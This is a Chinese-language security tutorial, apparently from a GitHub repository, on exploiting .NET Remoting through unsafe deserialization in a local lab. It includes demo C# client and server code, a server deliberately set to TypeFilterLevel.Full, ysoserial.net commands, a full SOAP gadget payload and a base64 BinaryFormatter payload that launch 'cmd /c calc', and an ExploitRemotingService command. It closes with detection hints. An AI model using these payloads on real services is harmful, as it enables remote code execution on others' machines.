https://github.com/Y4er/dotnet-deserialization/blob/main/.NET%20Remoting.md
简介 .net remoting是一种在不同进程间传递对象的方式。假如两个不同的进程分别为服务端、客户端,客户端和服务端各自保存相同的一份对象(DLL),那么可以通过.net remoting技术来远程传递对象。拿java来讲更类似于rmi的概念。
.net remoting可以使用tcp、http、ipc协议来传输远程对象
三种协议的不同 三种协议都位于程序集System.Runtime.Remoting.dll,命名空间分别为System.Runtime.Remoting.Channels.Http、System.Runtime.Remoting.Channels.Tcp、System.Runtime.Remoting.Channels.Ipc
其中不同协议用处不同:
IpcChannel用于本机之间进程传输,使用ipc协议传输比HTTP、TCP速度要快的多,但是只能在本机传输,不能跨机器,本文不讲。
TcpChannel基于tcp传输,将对象进行二进制序列化之后传输二进制数据流,比http传输效率更高。
HttpChannel基于http传输,将对象进行soap序列化之后在网络中传输xml,兼容性更强。
.net remoting 先来以HttpChannel为例看一个demo了解.net remoting。需要三个项目,分别是
RemoteDemoClient
RemoteDemoServer
RemoteDemoObject
分别表示客户端 、服务端 和要传输的对象 。
RemoteDemoObject(传输对象类) RemoteDemoObject.RemoteDemoObjectClass需要继承MarshalByRefObject类才能跨域(AppDomain)远程传输。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 using System;using System.Runtime.Remoting.Metadata;namespace RemoteDemoObject { public class RemoteDemoObjectClass : MarshalByRefObject { public int count = 0 ; [SoapMethod(XmlNamespace = "RemoteDemoObject1" , SoapAction = "RemoteDemoObject#GetCount" ) ] public int GetCount () { Console.WriteLine("GetCount called." ); return count++; } } }
这里在客户端和服务端的必须加上这个SoapMethod
不然会报错
https://blog.csdn.net/sloder/article/details/8694560
RemoteDemoServer(服务端) 服务端注册HttpServerChannel并绑定在9999端口,然后RemotingConfiguration.RegisterWellKnownServiceType
发布uri地址为RemoteDemoObjectClass.rem的远程调用对象,类型是RemoteDemoObjectClass。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 using System;using System.Runtime.Remoting;using System.Runtime.Remoting.Channels;using System.Runtime.Remoting.Channels.Http;using RemoteDemoObject;namespace RemoteDemoServer { class Program { static void Main (string [] args ) { HttpServerChannel httpServerChannel = new HttpServerChannel(9999 ); ChannelServices.RegisterChannel(httpServerChannel, false ); RemotingConfiguration.RegisterWellKnownServiceType(typeof (RemoteDemoObjectClass), "RemoteDemoObjectClass.rem" , WellKnownObjectMode.Singleton); Console.WriteLine("server has been start" ); Console.ReadKey(); } } }
WellKnownObjectMode.Singleton
这个东西没啥用 不注意就行了
RemoteDemoClient(客户端) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 using RemoteDemoObject;using System;namespace RemoteDemoClient { class Program { static void Main (string [] args ) { string serverAddress = "http://localhost:9999/RemoteDemoObjectClass.rem" ; RemoteDemoObjectClass obj1 = (RemoteDemoObjectClass)Activator.GetObject(typeof (RemoteDemoObjectClass), serverAddress); Console.WriteLine("call GetCount() get return value:{0}" ,obj1.GetCount()); Console.ReadKey(); } } }
读取远程地址 然后获取其对象 然后执行其里面的GetCount函数
运行结果 服务端
客户端
HttpServerChannel数据包 先使用bp来修改代理
然后修改Client的代码 将原本9999端口改为8080端口
一看就是将数据进行soap序列化然后再进行传输
跟进代码进行分析
跟进HttpServerChannel类
跟进SetupChannel函数
在判断sinkProvider参数为空的情况下 我们跟进这个CreateDefaultServerProviderChain函数
发现这里使用了一个Provider链,从SdlChannelSinkProvider->SoapServerFormatterSinkProvider->BinaryServerFormatterSinkProvider
而TcpServerChannel中,使用的是BinaryServerFormatterSinkProvider->SoapServerFormatterSinkProvider
由此可见http使用soap协议进行序列化,tcp使用binary进行序列化。
漏洞产生 我们再抓包的时候 发现了其实将类进行soap序列化之后进行传输的 如果我们修改传输的内容 是不是就可以RCE了?
yso生成poc
1 ysoserial.exe -f soapformatter -g TextFormattingRunProperties -c calc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35"> <ForegroundBrush id="ref-3"><?xml version="1.0" encoding="utf-16"?> <ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"> <ObjectDataProvider.ObjectInstance> <sd:Process> <sd:Process.StartInfo> <sd:ProcessStartInfo Arguments="/c calc" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" /> </sd:Process.StartInfo> </sd:Process> </ObjectDataProvider.ObjectInstance> </ObjectDataProvider></ForegroundBrush> </a1:TextFormattingRunProperties> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
将</SOAP-ENV:Body>
标签去掉的时候 直接放入包中就行了
当我们直接修改发包的时候 发现并没有弹出计算器 这里的原因就是客户端不会反序列化我们传入的类 因为不是其指定的类 这里就涉及到了这个TypeFilterLevel 参数了
在上文中我们提到SoapServerFormatterSinkProvider和BinaryServerFormatterSinkProvider,这两个类都有一个重要的属性TypeFilterLevel ,根据文档 可知其是枚举类型。
那么我们将其设置为Full的时候 应该就能反序列化成功了
修改Server端代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 using System;using System.Collections;using System.Runtime.Remoting;using System.Runtime.Remoting.Channels;using System.Runtime.Remoting.Channels.Http;using System.Runtime.Serialization.Formatters;using RemoteDemoObject;namespace RemoteDemoServer { class Program { static void Main (string [] args ) { SoapServerFormatterSinkProvider soapServerFormatterSinkProvider = new SoapServerFormatterSinkProvider() { TypeFilterLevel = TypeFilterLevel.Full }; IDictionary hashtables = new Hashtable(); hashtables["port" ] = 9999 ; HttpServerChannel httpServerChannel = new HttpServerChannel(hashtables,soapServerFormatterSinkProvider); ChannelServices.RegisterChannel(httpServerChannel, false ); RemotingConfiguration.RegisterWellKnownServiceType(typeof (RemoteDemoObjectClass), "RemoteDemoObjectClass.rem" , WellKnownObjectMode.Singleton); Console.WriteLine("server has been start" ); Console.ReadKey(); } } }
在HttpServerChannel中采用两个参数的重载,传入SoapServerFormatterSinkProvider,赋值TypeFilterLevel = TypeFilterLevel.Full
。再次发包
这次就成功的弹出了计算器
TcpServerChannel数据包 tcpServerChannel是以二进制的形式将数据进行传输 我们使用burp修改不了 这里只能使用工具来进行替代
这里修改一下客户端和服务端
客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 using RemoteDemoObject;using System;namespace RemoteDemoClient { class Program { static void Main (string [] args ) { string serverAddress = "tcp://localhost:9999/RemoteDemoObjectClass.rem" ; RemoteDemoObjectClass obj1 = (RemoteDemoObjectClass)Activator.GetObject(typeof (RemoteDemoObjectClass), serverAddress); Console.WriteLine("get string:\t{0}" ,obj1.GetCount()); Console.ReadKey(); } } }
服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 using System;using System.Collections;using System.Runtime.Remoting;using System.Runtime.Remoting.Channels;using System.Runtime.Remoting.Channels.Tcp;using System.Runtime.Serialization.Formatters;using RemoteDemoObject;namespace RemoteDemoServer { class Program { static void Main (string [] args ) { BinaryServerFormatterSinkProvider binary = new BinaryServerFormatterSinkProvider() { TypeFilterLevel = TypeFilterLevel.Full }; IDictionary hashtables = new Hashtable(); hashtables["port" ] = 9999 ; TcpServerChannel httpServerChannel = new TcpServerChannel(hashtables,binary); ChannelServices.RegisterChannel(httpServerChannel, false ); RemotingConfiguration.RegisterWellKnownServiceType(typeof (RemoteDemoObjectClass), "RemoteDemoObjectClass.rem" , WellKnownObjectMode.Singleton); Console.WriteLine("server has been start" ); Console.ReadKey(); } } }
这里用wireshark来进行抓包 burp抓不了二进制流 跟踪TCP流
发现数据流以2e 4e 45 54
.NET
开头进行二进制传输远程调用方法、类型和命名空间。我们可以伪造tcp数据流来发送恶意二进制数据流进行反序列化RCE。
漏洞产生 Github上有一个现成的工具ExploitRemotingService ,通过它的raw参数我们可以发送原始binary数据。先使用ysoserial.net生成base64的payload。
1 2 3 ysoserial.exe -f binaryformatter -g TextFormattingRunProperties -c calc -o base64 AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==
然后使用ExploitRemotingService发包
1 ExploitRemotingService.exe tcp://localhost:9999/RemoteDemoObjectClass.rem raw base64
跟踪TCP流我们也发现了
这些就是我们base64传输的内容
总结 这里偷一张Y4er师傅的图
关注TcpChannel、HttpChannel及其子类所创建实例的TypeFilterLevel字段是否为Full。其实为Low的时候ExploitRemotingService也可以利用,但是要设置ConfigurationManager.AppSettings.Set("microsoft:Remoting:AllowTransparentProxyMessage", false;
这个全局非默认配置,少见,仅作了解。
关注rem后缀的uri,可能就是.net remoting。